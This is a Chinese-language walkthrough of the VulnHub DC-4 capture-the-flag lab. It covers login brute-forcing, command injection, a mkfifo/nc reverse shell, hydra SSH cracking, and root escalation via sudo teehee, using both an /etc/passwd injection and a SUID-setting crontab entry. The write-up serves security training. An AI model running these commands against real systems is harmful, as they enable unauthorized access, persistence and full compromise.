前言

靶机下载地址:https://www.vulnhub.com/entry/dc-4,313/

KALI地址:192.168.75.108

靶机地址:192.168.75.207


一.信息发现

1.主机发现

使用命令如下

netdiscover -r 192.168.75.108

如下图,发现了我们靶机的地址。


2.主机扫描

这里使用nmap工具进行扫描,命令如下。

nmap -A -T4 -O -p 0-65535 192.168.75.207

扫描结果如下,发现开放了80,22号端口。


3.目录扫描

既然开放了80端口,那么我们就可以二话不说直接开始目录扫描,命令如下。

dirb http://192.168.75.207

扫描结果如下图,发现并没有什么可以利用的点。


4.网页信息收集

既然开放了,80端口,我们可以直接去访问,如下图,打开首页发现是一个登录框,我们可以尝试登录,随后又抽卡了源代码,网络信息,均没有发现可以利用的点。


二.漏洞利用

经过上面信息收集,发现了首页是可以登录的,并且没有验证码,试过了SQL注入,不行,尝试弱密码爆破。

爆破结果如下,发现密码可能是happy。

经过测试发现就是happy,如下图,并且成功登录进去。

1.命令执行

经过发现,发现可以执行命令,如下图,想法是是否可以尝试绕过,执行其他命令。

这里就可以使用bp进行抓包,然后进行绕过,如下图

下面是输出结果,如下图。

所以我们就有了思路,一个思路是,让靶机下载我们的webshell,然后我们连接,第二个思路是反弹shell。


2.反弹shell

简单的说一下第一种思路,经过测试,发现靶机没有wget的下载权限,就放弃了,直接来到第二个思路也就是反弹shell的思路。

这里在靶机使用的命令是rm /tmp/f;mkfifo /tmp/f;cat /tmp/f | /bin/sh -i 2>&1 | nc 192.168.75.108 6666 > /tmp/f;

然后在kali里面使用nc命令来进行监听,命令如下。

nc -lnvp 6666

如下图效果开始监听。

这里说一下历程,按照正常来说,像如下图一样发包就可以直接反弹成功了,但是发送了,就是没有反弹,看了大佬的博客才知道不能这样发包。

所以我们需要在前端修改代码,才能成功反弹,如下图查看源代码修改即可,然后点击run运行就可以直接成功反弹shell了。

如下图,KALI成功接收反弹。


三.提权

1.获取jim账户密码

先按照如下图操作,先查看自己是什么用户和ID,然后使用python更换终端。

然后我们可以查看/etc/passwd下面的用户,如下图,发现了,三个用户,一个是jim,一个是charles,一个是sam

然后经过查找,发现在home目录下面发现了几个人的目录路径,如下图。

经过测试发现,在jim目录下面,发现了老密码的字样,我们直接打开看。

如下图,打开全是密码,这里的思路,这么多密码,肯定要试试暴力破解了,这里我们把密码复制进去文本

我们这里使用hydra工具来进行暴力破解ssh,使用命令如下。

hydra -l jim -P pass.txt -s 22 ssh://192.168.75.207 -vV

-l #对应的是一个用户,如果是大写的-L就是用户本
-P #对应的是一个密码本,如果是小p那么就是一个密码
-s #对应的是端口
-vV #显示破解过程

如下图破解成功,成功发现jim的密码。

账户:jim

密码:jibril04

但是经过测试发现jim这个账户啥也不能干啊。


2.获取Charles账户密码

经过一番查找在/var/mail下面发现了一封邮件,邮件内容如下图,发现是密码。

我们可以尝试登录一下查看,如下图,发现可以登录,然后我们查看是否有sudo权限,我们直接使用如下命令查看。

sudo -l

发现有teeche的命令执行权限,如下图。


3.执行提权操作

因为不熟悉teehee的提权方式,所以不怎么熟悉,就查了一下资料,这里有两种方法可以提权,第一种就是在/etc/passwd下面添加用户

第二种方法就是在linux的自动任务执行里面进行利用。


1.在/etc/passwd添加用户

首先需要执行一个命令perl -le 'print crypt("123456", "ken"),如下图。

然后就可以执行一个命令来进行添加用户,命令如下。

echo "takagisan:keNdbTFs2CPY6:0:0:::/bin/bash" | sudo teehee -a /etc/passwd

然后如下图,报错失败,查了一下资料之后,发现需要第一次登录root用户在退出来就可以了,所以我这里直接换其他的提权方式了。


2.创建定时任务给提权

看了一下大佬的博客,发现是这样的,创建一个定时人物然后给/bin/sh赋予SUID的权限,然后用teehee命令这个定时任务,写到/etc/crontab里面去。

命令如下。

echo "* * * * * root chmod 4777 /bin/sh" | sudo teehee -a /etc/crontab

crontab命令详解可以百度查资料。

这样之后我们就可以直接在控制台里面输入/bin/sh就可以了,如下图提权成功。

然后我们就可以去查看flag了,如下图,在root目录发现flag。


四.总结

需要注意查看var下面的mail邮件目录,然后提权需要注意teehee提权方式,还需要多注意查看各种敏感目录,和文件。

Vulnhub-DC-4靶机实战的更多相关文章

  1. DC-1靶机实战和分析

    前言 我们都知道,对靶机的渗透,可以宽阔自己的解题思路,练习并熟悉相关操作命令,提高自己的能力.下面我就对Vulnhub的DC-1靶机进行渗透,靶机设置了5个flag,咱们依次找到它.并通过图文形式讲 ...

  2. vulnstack靶机实战01

    前言 vulnstack是红日安全的一个实战环境,地址:http://vulnstack.qiyuanxuetang.net/vuln/detail/2/最近在学习内网渗透方面的相关知识,通过对靶机的 ...

  3. 【Vulnhub】DC-2靶机

    Vulnhub DC-2 靶机 信息搜集 访问web端发现访问不了,可以观察到相应的URL为域名而不是IP,需要在hosts文件种添加一条DNS记录. host位置:C:\Windows\System ...

  4. vulnhub DC:1渗透笔记

    DC:1渗透笔记 靶机下载地址:https://www.vulnhub.com/entry/dc-1,292/ kali ip地址 信息收集 首先扫描一下靶机ip地址 nmap -sP 192.168 ...

  5. Vulnhub-Tomato靶机实战

    前言 靶机下载地址:https://www.vulnhub.com/entry/tomato-1,557/ KALI地址:192.168.94.108 靶机地址:192.168.94.30 一.信息收 ...

  6. 3. 文件上传靶机实战(附靶机跟writeup)

    upload-labs 一个帮你总结所有类型的上传漏洞的靶场 文件上传靶机下载地址:https://github.com/c0ny1/upload-labs   运行环境 操作系统:推荐windows ...

  7. vulnhub之GoldenEye-v1靶机

    靶机:virtualbox  自动获取 攻击:kali linux    自动获取 设置同一张网卡开启dhcp ifconfig攻击IP是那个网段(也可以netdiscpver,不过毕竟是自己玩懒得等 ...

  8. DVWA靶机实战-文件上传漏洞(二)

    继续打靶机:当前靶机的安全级别:medium 第一步 上传一句话木马,这次没有之前那么顺利了,文件显示上传失败,被过滤. 点开右下角view source查看源码: 只允许上传image/jpeg格式 ...

  9. hacknos靶机实战

    工具: kali 192.168.1.6 nmap 打开使用nmap -sP 192.168.1.0/24 扫描活跃的主机 发现目标ip 使用nmap 查看开启了什么服务Nmap -v -A -PN ...

随机推荐

  1. 当一个线程进入某个对象的一个 synchronized 的实例方 法后,其它线程是否可进入此对象的其它方法?

    如果其他方法没有 synchronized 的话,其他线程是可以进入的. 所以要开放一个线程安全的对象时,得保证每个方法都是线程安全的.

  2. 32 位和 64 位的 JVM,int 类型变量的长度是多数?

    32 位和 64 位的 JVM 中,int 类型变量的长度是相同的,都是 32 位或者 4个字节.

  3. Invalid prop: type check failed for prop "maxlength"

    Invalid prop: type check failed for prop "maxlength", element 框架时,因为想限制文本框的输入长度, maxlength ...

  4. Kurento安装与入门08——Group Call

    Group Call 本示例展示了一个视频聊天室的功能,不同的聊天室之间互相隔离. 官网文档 Group Call 首先从github上获取代码(如果已经获取可以跳过,获取的代码已经包括后面的示例代码 ...

  5. js压缩图片到2m以下

    用的canvas.这个问题测试妹子反馈了好几次bug,解决了好多次,虽然用了比较僵硬的办法,但总算最终解决了. 因为php的同事说,页面上的图片要直接调用七牛的接口上传到七牛,所以后端那边不能处理,必 ...

  6. 【uniapp 开发】手绘签名组件

    代码如下: <template> <view class="content"> <button type="primary" @t ...

  7. CSS样式写在JSP代码中的几种方法

    1.行内样式. 可以直接把css代码写在现有的HTML标签元素的开始标签里面,并且css样式代码要写在style=" "双引号中才可以, 如: <p style=" ...

  8. EMS查看邮箱容量限制的方法

    以Exchange管理员身份打开EMS控制台.在PowerShell命令行提示符下,输入以下命令. Get-MailboxDatabase | FL name,IssueWarningQuota,Pr ...

  9. 帝国cms一键排版删除段落前两个空格和换行符

    打开网站根目录下e\class\function.php文件:一.删除两个空格: 搜索:$nbsp=' '; 改为:$nbsp=''; 二.删除<br>换行符 搜索: $ok='<b ...

  10. 帝国cms 7.5版列表页分页样式修改笔记

    最近在用帝国改版我的个人博客站点,这个也是我第一次尝试用帝国来做博客,之前用过wordpress,每用一个新的程序,都会有些新的收获,也会学到一些新的东西. 在改用帝国之前,我也在网上大概了解了一下, ...